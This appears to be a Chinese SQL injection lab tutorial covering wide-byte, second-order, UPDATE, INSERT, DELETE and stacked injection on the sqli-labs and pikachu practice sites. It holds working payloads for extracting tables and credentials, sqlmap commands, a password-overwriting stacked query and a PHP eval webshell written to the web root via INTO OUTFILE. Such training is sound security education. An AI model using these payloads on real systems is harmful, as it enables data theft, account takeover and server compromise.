目录
宽字节 less-33
具体使用
sqlmap爆破宽字节
二次注入 less-24
靶场运用:
update注入 less-17
具体使用:
insert注入 pikachu演示
具体使用
delete注入 pikachu演示
堆叠注入 less-38
宽字节 less-33
宽字节注入是利用 mysql 的一个特性,使用 GBK 编码的时候,会认为两个字 符是一个汉字 PHP 中编码为 GBK,函数执行添加的是 ASCII 编码,MYSQL 默认字符。
举例:
addslashes()函数 1、addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
2、预定义字符:单引号('),双引号("),反斜杠(\),NULL
3、实例 运行结果:aiyou\"bu\"cuoo
假设有个%DF':会被 PHP 当中的 addslashes 函数转义为“ %DF\'”,\在 URL 里是“%5C", 那么也就是说,“%DF'"会被转成“%DF%5C%27,之后再数据库查询语句进行 GBK 多字节编码,即一个中文占用两个字节,一个英文同样占用两个字节且在汉字编 码范围内两个编码为一个汉字。然后 MySQL 服务器会对查询语句进行 GBK 编码 即%df%5c 转换成汉字"運",单引号逃逸出来,从而绕过转义造成注入漏洞。
因此。存在宽字节sql注入的基本条件就是数据库采用GBK编码,php采用UTF8的编码,他们的本意都是为了防止发生 SQL 注入,会调用上面所介绍的几种函数,将单引号或双引号进行转义 操作,在单或双引号前加上斜杠(\)。当数据库使用的是宽字节编码会将两个连 在一起的字符会被当做是一个汉字,而在 PHP 使用的 UF8 编码则认为是两个独立 的字符。
涉及到其他函数
mysql_real_escape_string()函数转义 SQL 语句中使用的字符串中的特殊字符 mysql_escape_string()转义一个字符
上面这个是靶场源码,该靶场正式因为定义了addslashes的函数,并且将字符集设置成了gbk才可以进行宽字节的注入(ps:真实环境下都可以进行尝试,或者丢sqlmap,先体验一下手工)
?id=0%df%27%20union%20select%201,2,3%20--+ 可以看出来宽字节注入和之前所说的一些注入方式也基本一样,只不过是因为数据库内存在了那个函数并且设置了gbk的字符集,在id=0后面使用了字符的形式来完成注入。(上面就是最基本的宽字节注入,实际环境下不一定非要用%df。可以试试其他的字符加上\(上面说的),进行测试)
具体使用
?id=0%df%27%20union%20select%201,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
sqlmap爆破宽字节
宽字节也可以通过sqlmap爆破
sqlmap -u "192.168.100.136:8088/Less-33/?id=1" --dbs --batch --tamper unmagicquotes --proxy "http://127.0.0.1:8080"
其中,前面的参数和前面一样,这个tamper之前也说过是为了指定sqlmap里的内置函数,这个un什么玩意的就是sqlmap中专门对宽字节注入进行测试的。 后面的--proxy拿来连接代理,下面这个就是连接了本机的bp,可以去看sqlmap具体发送的流量包(bp要开)。
二次注入 less-24
二次注入漏洞是一种在 Web 应用程序中广泛存在的安全漏洞形式。相对于一次注 入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞相 同的攻击威力。 简单的说,二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入 到 SQL 查询语句中导致的注入。 网站对我们输入的一些重要的关键字进行了转义,但是这些我们构造的语句已经 写进了数据库,可以在没有被转义的地方使用 可能每一次注入都不构成漏洞,但是如果一起用就可能造成注入。
二次注入,可以概括为以下两步: 第一步:插入恶意数据 进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时 候又保留了原来的数据。
第二步:引用恶意数据 开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出 恶意数据,没有进行进一步的检验的处理
二次注入的条件 (1)用户向数据库插入恶意语句(即使后端代码对语句进行了转义,如 mysql_escape_string、mysql_real_escape_string 转义)
(2)数据库对自己存储的数据非常放心,直接取出恶意数据给用户。
由于二次注入这玩意不太好看的出来,这里通过对源代码进行审计来判断注入的方式(咋打开这个前面讲过辣,可以去百度或者翻翻)。其中
login.php为登录代码,login_create.php为注册,pass_change.php为更改密码(被水印挡住的)
通过登录(login.php)的代码,可以看到,这里配置了一个叫mysql_real_escape_string() 函数,这个函数的作用就是转义 SQL 语句中使用的字符串中的特殊字符。
下列这些字符会被该函数所影响影响(ps:百度的):
\x00
\n
\r
\
'
"
\x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
可以看到这个函数就是上面宽字节注入所说的绕过函数,但如果要使用宽字节注入,需要判断对方的数据库是否有采用GBK编码,但这里的源码并没有提到,因此暂且判断此处不存在注入点。
通过注册(login_create)的代码,可以看到,这里有一个if的判断,判断的就是注册的内容。这里用到了一个叫mysql_escape_string,也是上边宽字节注入所提到的,而mysql_escape_string() 并不转义 % 和 _ ,并且该函数并不会去在意当前的字符集是什么(也就是编码),因此,这里似乎就成功产生了一个注入条件。ps(isset是个函数,可以理解为判断一会要提交的数据(submit)是否满足下面的条件,满足则提交,返回一个新的页面,不满足则会根据下面的语句判断,返回相关的错误信息)
下面这里会先判断是否账号是否存在,确定不存在后,会直接将创建好的账户插入,没有进行任何过滤。至此已经产生了二次注入的先决条件。
通过查看pass_change.php(修改密码)的代码,可以看到,在username是直接通过session的得的数据(Session是另一种记录客户状态的机制,不同的是Cookie保存在客户端浏览器中,而Session保存在服 务器上。客户端浏览器访问服务器的时候,服务器把客户端信息以某种形式记录在服务器上。这就是 Session。客户端浏览器再次访问时只需要从该Session中查找该客户的状态就可以了。)(更直白的意思就是从缓存中拿,通过修改缓存数据来改变实体的数据(拿来理解这个session别当真))
并且下面的更新语句直接对username进行了一个修改,相当于没有对数据进行任何过滤,只是进行了普通的转义。如果当前输入的用户名中含有注释,则可以直接修改前用户名中包含的另一用户的密码。如对 admin' -- -进行修改即为对admin进行修改。其中--表示注释(也可以直接用#来代替)后面这个-表示前面是一个注释,因为注释必须是空格才能生效。看着麻烦的话都可以用#号代替。
靶场运用:
admin’ #(ps:加不加这个空格无所谓,因为这里不需要去指示什么注释)
进行注册(上面说了不一定得用_ ,使用_只是为了演示这个mysql_escape_string的函数并体现其作用)完成该注入可以通过最简单的' 和#进行完成。 ps:如果对#进行了过滤就只能采用编码或者通过上面的-- -又或者其他方式。
注册后进行,登录,可以看到该界面,然后修改密码后点击reset
改完点home返回,再点击lougout退出
输入admin与修改后的密码
成功登录admin
可以再通过靶场自带的数据库对数据进行查看(数据库默认密码为空,回车就行)
mysql -uroot -p
show databases;(查看数据库)
use security;(使用该数据库)
show tables;(查看数据库内的表)
select * from users;(查看表内的所有数据)
通过查看数据库,发现之前对admin'#进行的操作成功应用到了admin上,admin的密码被更改为刚刚修改的密码ttt。
以上为二次注入基本流程(该靶场),参考自下面这个(他有写如何判断注入点哦)
Sqli-labs之Less-24(二次注入)_sqli-libless24-CSDN博客https://blog.csdn.net/weixin_39934520/article/details/105620978
update注入 less-17
也先瞅眼代码◕‿◕,可以看到这里也进行了相关的过滤,比如这个substr 意味着如果使用substr只能截取0-15个的字符,后面这个strip是过滤了\,来防止一些转义字符的替换,下面那个就是上面宽字节的函数,也进行了限制
接着往下对代码分析,发现上面这过滤函数只赋给了uname,并没有给passwd,并且下面又有一条针对passwd的update的语句,没有进行任何过滤,可以初步判断注入点在passwd这,就可以尝试各种方法对其进行测试。
打开靶场,判断注入点存在情况
发现输入特殊字符后,admin返回的是一个报错图片,而passwd返回了一个相关的sql语句报错信息。由于这里的是个登录框,因此可以先判断此处的注入是一个post的注入,先对其抓个包。
由于此前已经对源码进行了查看,里面是个update的函数(如果真实并且手工且不用工具的话,得慢慢手功来进行判断。)可以使用报错函数对其进行判断。(之前都讲过辣)updatexml(1,concat(0x7e,version(),0x7e),1)# 成功得到信息。
成功得到数据
具体使用:
' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #&submit=Submit
也可以通过floor函数进行数据读取:
爆表
' or (select 1 from (select count(*),concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a) where username ='admin' #
爆字段
' or (select 1 from (select count(*),concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a) where username ='admin' #
爆数据
' or (select 1 from (select count(*),concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) where username ='admin' #
也可以通过sqlmap进行爆破,将包的数据保存下来(记得把加的sql语句去了)
爆破
sql map -r "xxx" --batch --dbs -p passwd
insert注入 pikachu演示
inset 注入:就是指我们前端注册的信息会被后台通过 insert 操作插入到数据库里 边去,若此时后台没有做出相应的处理就会构成 insert注入
insert 语句 insert into member(a,b,c,d) values('xxxxx',111111,'1','2'); 以上是 Insert 的完整语句,而我们输入的用户名对应的就是上面‘xxxxx’这里, 这里我们可以使用 or 这个逻辑运算符,例如用下面的语句代替 xxxxx: x' or updatexml(1,concat(0x7e,version()),0) o
该实验由小皮搭建而成(ps:php_study.这东西不会搭的话可以看看百度。很简单),简单提一嘴,如果因为某种原因修改过小皮数据库,导致初始化数据库时出现一个啥数据库报错,让你修改config.inc.php这玩意,可以按下面方法改改
点开pikachu(小皮)sql-inject中的insert登录,注册账号并且插入数据
注册成功后,因为这里演示的是一个insert语句的注入,并且注册的时候就已经像数据库中插入数据了,因此直接在此界面上编写sql语句。
x' or updatexml(1,concat(0x7e,version(),0x7e),1) or '1‘=’1 填入两个必填的字段ps(or前面的那个x可写可不写,只是用来装作一个用户,让前面闭合的语句为假而已,我就没写,别想太多。
点击提交,出现数据库相应信息。
具体使用
' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) or '1‘=’1
delete注入 pikachu演示
这种delete的注入通常的页面上是看不到的,通常是因为服务器没对传来的id进行及时处理所导致的sql注入。因此要抓包。
小皮环境基本都安装在windows下,如果windows下没有bp,可以通过kali连接
删除后得到两个数据包,其中,这个302重定向便是将会发给服务器的,在这个id=60下的包进行delete注入的检测。
点开bp抓到包,快捷键ctrl+r将数据发送到repeater,并在id那加入一个反斜杠,发送数据,拉到最下面看到一个报错信息,基本判断存在一个delete的注入漏洞。而且\后面没出现什么奇奇怪怪的符号,可以判断是个整数型的闭合。
由于是个整数型的闭合,在其后面输入个--+,发现没有报错(判断出闭合条件\就没必要留了)
通过报错函数,得到数据。
or updatexml(1,concat(0x7e,version(),0x7e),1) -- -
在某些情况下,输入sql语句可能无法被成功响应,因此可以将其转换成url编码。
转换后重新发送,依旧可以得到相关信息。
具体使用和上面一样,不赘叙
堆叠注入 less-38
堆叠注入可以执行的是任意的语句。例如以下 这个例子。用户输入:1;DELETE FROM products 服务器端生成的 sql 语句为: select * from users where productid=1;DELETE FROM users 当执行查询后,第一条显示查询信息,第二条则将整个表进行删除
;作用就是前面的执行完后面的接着执行 因此,堆叠注入主要用作于对数据库的破坏。
进入靶场,根据报错,判断为'为注入点
可以用之前的方法判断其库名,表名,字段名得到相关信息。因为堆叠注入主要用于破坏,是需要得到一些数据库的信息才方便使用的。由于sqli-labs的数据库啥的都一样,就不一个个进行演示。
-1';update users set password='123456' where username='Dumb'; --+
得到数据后,可以通过上面的语句对users表中的Dumb用户进行数据的更新,将其密码更新为123456(ps:更新成功后没有任何回显是正常的)
将?id重新改为1,发现Dumb的密码被成功更改。
此外,还可以通过堆叠注入上传一句话木马(此前讲过)。
?id=1'; select 1,"<?php eval($_POST['xx']); ?>",3 into outfile '/var/www/html/muma3.php'; --+